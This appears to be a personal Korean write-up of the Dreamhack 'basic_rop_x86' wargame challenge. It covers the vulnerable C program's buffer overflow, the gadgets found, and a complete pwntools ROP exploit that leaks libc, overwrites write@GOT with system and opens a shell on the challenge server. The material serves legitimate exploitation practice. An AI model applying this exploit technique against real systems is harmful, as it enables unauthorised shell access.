읽기 안내
Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.
환경

- 32bit
- NX ON
실습 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
분석
1. 취약점 분석
- buf의 크기는 0x40 but read()로 입력받는 크기는 0x400 -> Buffer Overflow 취약점 발생
- NX 보호 기법이 적용되어 있으므로 Shellcode는 사용 불가
2. 익스플로잇
스택 프레임 구조 파악
0x080485f6 <+29>: push 0x400 // push 0x400
0x080485fb <+34>: lea eax,[ebp-0x44] // eax = buf
0x080485fe <+37>: push eax // push buf
0x080485ff <+38>: push 0x0 // 0
0x08048601 <+40>: call 0x80483f0 <read@plt> // read(0, buf, 0x400)
0x08048606 <+45>: add esp,0xc

ROP 공격 순서
1. 필요한 정보 구하기
2. read 함수의 실제 주소 leak
3. ASLR 우회를 위해 BSS 영역에 "/bin/sh" 저장
4. write@got를 system 실제 주소로 got overwrite
5. "/bin/sh" 인자로 write() 호출 -> system("/bin/sh")가 호출 됨
가젯 찾기
gdb-peda$ ropgadget
ret = 0x80483c2
popret = 0x80483d9
pop2ret = 0x804868a
pop3ret = 0x8048689
pop4ret = 0x8048688
addesp_8 = 0x80485c9
addesp_12 = 0x80483d6
addesp_16 = 0x80484e5
read함수와 write 함수는 인자가 3개 이기 때문에, pop3ret 가젯을 사용하면 된다.
pop3ret = 0x8048689
익스플로잇 코드
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
#context.log_level = 'debug'
p = remote("host2.dreamhack.games", 17458)
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")
# [1] 필요 정보 수집
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]
read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
pppr = 0x8048689
bss = e.bss()
# [2] Exploit
payload = b'A' * 72
# read() 실제 주소 흭득 -> write(1, read@got, 4)
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
# BSS 영역에 "/bin/sh" 쓰기 -> read(0, bss, 8)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
# got overwrite (write -> system) => read(0, write@got, 4)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)
# write("/bin/sh") => system("/bin/sh")가 호출 됨
payload += p32(write_plt)
payload += b"AAAA"
payload += p32(bss)
p.send(payload)
p.recvuntil(b'A' * 64)
read = u32(p.recvn(4))
lb = read - read_offset
system = lb + system_offset
slog("libc base", lb)
slog("read", read)
slog("system", system)
p.send(b'/bin/sh\\x00')
p.sendline(p32(system))
p.interactive()
결과

작성 기록과 문제 출처
원문과 출처
풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.
원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.
이미지 원본 출처
다음 글